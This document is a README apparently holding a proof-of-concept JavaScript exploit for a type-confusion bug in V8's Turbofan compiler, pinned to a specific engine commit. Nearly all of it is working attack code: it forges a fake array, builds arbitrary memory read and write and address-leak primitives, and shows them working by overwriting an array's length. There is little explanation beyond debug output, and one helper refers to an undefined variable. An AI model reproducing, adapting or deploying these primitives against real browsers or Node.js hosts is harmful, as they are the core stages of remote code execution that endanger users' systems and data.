README.md
Rendering markdown...
// Flags: --turbofan --no-maglev
/*
Build V8
git checkout 8f51e033902da9b786358e6e82f0dc57b46464dc
...
*/
let float64_view = new Float64Array(1);
let big_uint64_view = new BigUint64Array(float64_view.buffer);
let uint32_view = new Uint32Array(float64_view.buffer);
Number.prototype.toBigInt = function toBigInt(){
float64_view[0] = this;
return big_uint64_view[0];
}
BigInt.prototype.toNumber = function toNumber(){
big_uint64_view[0] = this;
return float64_view[0];
}
BigInt.prototype.toUint32 = function toUint32(){
big_uint64_view[0] = this;
return uint32_view[0];
}
function gc_minor() { //scavenge
for(let i = 0; i < 1000; i++) {
new ArrayBuffer(0x10000);
}
}
// setup our length
smi_big_length = (0x1337n)<<1n;
let offset_fixed_double_array_map = 0x8a1n;
let offset_packed_double_elements_map = 0x189a41n;
let offset_empty_fixed_array = 0x745n;
//
let first_huge_arr = new Array(0x800000);
first_huge_arr[0] = ((offset_empty_fixed_array<<32n) | offset_packed_double_elements_map).toNumber();
first_huge_arr[1] = ((smi_big_length<<32n) | (offset_empty_fixed_array)).toNumber()
let second_huge_arr = new Array(0x800000);
second_huge_arr[0] = {};
//
function exploit(){
function f1(v2, v3) {
var v4 = v3[0]; // HOLEY_DOUBLE_ELEMENTS
var v5 = v2[0]; // HOLEY_DOUBLE_ELEMENTS -> HOLEY_ELEMENTS
Array.prototype.push.call(v3, 2.199998872005392); // x+0x8 // 0x40019999`02340019
//Array.prototype.push.call(v3, 2.38506043e-39); // 0x19f88c+0x8
}
for(let i=0; i<10000; i++){
let arr = new Array(2);
arr[0] = "gnas";
f1(arr, [1.1, , 2.2]);
}
console.log("[*] Pass1");
for(let i=0; i<10000; i++){
//console.log("[*] i=",i);
let arr = new Array(2);
arr[0] = 1.1;
f1(arr, arr);
}
let arr = new Array(1);
arr[0] = 1.1;
//%DebugPrint(arr);
f1(arr, arr);
//%DebugPrint(target_arr);
arr[11] = 13.37;
fake_arr = arr[2];
//console.log(arr[1]);
//%DebugPrint(fake_arr);
//readline();
return fake_arr;
}
fake_arr = exploit();
fake_arr[0];
//%DebugPrint(fake_arr);
/*
DebugPrint: 0000033302340019: [JSArray]
- map: 0x033300189a41 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x0333001893ad <JSArray[0]>
- elements: 0x033300000745 <FixedArray[0]> [PACKED_DOUBLE_ELEMENTS]
- length: 363636
*/
function arbRead(addr){ // arg.type = bigint
let original_value = first_huge_arr[1];
first_huge_arr[1] = ((smi_big_length<<32n) | (addr-0x8n+1n)).toNumber()
let result = fake_arr[0].toBigInt();
first_huge_arr[1] = original_value;
console.log(`[AAR] Success! - read at 0x${addr.toString(16)} --> value 0x${result.toString(16)}`);
return result;
}
function arbWrite(addr, value){ // arg.type = bigint
let original_value = temp[1];
first_huge_arr[1] = ((smi_big_length<<32n) | (addr-0x8n+1n)).toNumber()
fake_arr[0] = value.toNumber();
first_huge_arr[1] = original_value;
console.log(`[AAW] Success! - write at 0x${addr.toString(16)} with value 0x${value.toString(16)}`);
}
// find second_huge_arr.elements offset
var y;
function find_offset_second_huge_arr_elements(){
y = 0x06580010n
var test_val = arbRead(y);
if (test_val === ((0x800000n<<33n) | 0x00000565n)){
console.log("[*] offset second_huge_arr.elements: 0x06580010n")
return;
}
y = 0x065c0010n;
test_val = arbRead(y);
if (test_val === ((0x800000n<<33n) | 0x00000565n)){
console.log("[*] offset second_huge_arr.elements: 0x065c0010n")
return;
}
}
find_offset_second_huge_arr_elements();
function addrOf(victim_obj){
//let y=0x06580010n;
second_huge_arr[0] = victim_obj;
let orig = first_huge_arr[1];
first_huge_arr[1] = ((smi_big_length<<32n) | (y+1n)).toNumber();
//%DebugPrint(fake_arr);
let result = fake_arr[0].toBigInt() & 0xFFFFFFFFn
first_huge_arr[1] = orig;
return result-1n; // untagged
}
//%DebugPrint(second_huge_arr);
console.log("-----------------------------------");
console.log("-----------------------------------");
console.log("-----------------------------------");
console.log("-----------------------------------");
let test_arr = [1, 2, 3];
gc_minor();
//%DebugPrint(test_arr);
offset_test_arr = addrOf(test_arr);
//console.log(`[*] offset of test_arr: 0x${offset_test_arr.toString(16)}`);
console.log(`[*] test_arr.length: ${test_arr.length}`);
console.log("<----------- TEST AAR/W ----------->");
console.log("[*] Trying to modify the test_arr.length...");
let temp = arbRead(offset_test_arr+0x8n);
let new_val = (0x1337n << 33n) | (temp & 0xFFFFFFFFn)
arbWrite(offset_test_arr+0x8n, new_val)
if (test_arr.length !== 0x1337){
console.log("[*] Failed to modify the test_arr.length. Please try again");
quit();
}
console.log("<----------- TEST AAR/W ----------->");
console.log(`[*] test_arr.length: ${test_arr.length}`);